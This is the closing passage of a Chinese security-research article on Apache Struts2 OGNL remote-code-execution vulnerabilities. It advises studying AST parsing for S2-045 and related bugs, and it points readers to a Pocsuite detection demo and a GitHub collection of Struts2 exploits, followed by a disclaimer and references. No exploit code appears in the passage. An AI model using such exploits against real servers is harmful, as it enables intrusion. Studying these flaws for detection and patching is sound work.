由于 Struts2 的大部分漏洞都涉及到 OGNL 表达式被解析成各种AST树,最终导致远程代码执行(RCE),许多绕过思路也与AST解析后续逻辑密切相关。因此,建议初学者仔细研究甚至手动调试一下AST树后续解析逻辑,特别是像S2-003、S2-005、S2-020、S2-045等漏洞。通过深入分析这些漏洞的过程,当再看其他历史洞时,基本上能够轻松理解其中的逻辑。所以我写下这篇paper时部分漏洞简单概括或者是直接省略了,因为它们的核心原理在这些关键漏洞中已经涵盖。

另外使用codeql进行污点分析挖到S2-057,虽然还是同理漏洞,仅是入口点不同,但是用来学习codeql也是很值得看一下[4]。

5.漏洞检测

5.1 Pocsuite 检测Struts2漏洞演示视频

视频提供了对Pocsuite的使用方法、安装方法、以及对Struts2-045进行漏洞检测的演示[5]。

S2-045: Struts 2 远程代码执行漏洞(CVE-2017-5638)演示视频

5.2 Pocsuite Struts2 exp

为了方便学习和研究,已将 Pocsuite Struts2 系列漏洞 exp 整理至GitHub 仓库[6],读者可自行获取。

免责声明:

本仓库所包含的 Struts2 历史漏洞信息仅供学习和研究目的。这些漏洞早已存在并在互联网上公开,旨在帮助深入研究和提升对 Web 应用安全性的理解。任何形式的非法攻击行为均严格禁止。

我们不对任何人因使用本仓库的信息而导致的非法活动承担责任。用户应遵守适用的法律法规,并在进行安全研究时恪守道德和法律规定。请谨慎使用这些漏洞信息,并确保在任何测试和研究活动中遵循法律和道德准则。

6.参考链接

[1] 浅析OGNL表达式求值

[2] Struts2 S2-020在Tomcat 8下的命令执行分析

[3] S2-066 补丁对比

[4] CVE-2018-11776: How to find 5 RCEs in Apache Struts with CodeQL

[5] 演示视频

[6] GitHub 仓库

[7]Apache Struts 2 Wiki

[8] Struts2 系列漏洞调试总结

[9] Struts2-Vuln-Demo

# 漏洞分析
本文为 知道创宇404实验室 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
知道创宇404实验室 LV.7
国内黑客文化深厚的网络安全公司知道创宇最神秘和核心的部门,长期致力于Web 、IoT 、工控、区块链等领域内安全漏洞挖掘、攻防技术的研究工作,团队曾多次向国内外多家知名厂商如微软、苹果、Adobe 、腾讯、阿里、百度等提交漏洞研究成果,并协助修复安全漏洞,多次获得相关致谢,在业内享有极高的声誉。
  • 147 文章数
  • 253 关注者
机器学习的线性回归模型
2025-03-07
关于 Chat Template 注入方式的学习
2025-03-03
从零开始搭建:基于本地DeepSeek的Web蜜罐自动化识别
2025-03-03
文章目录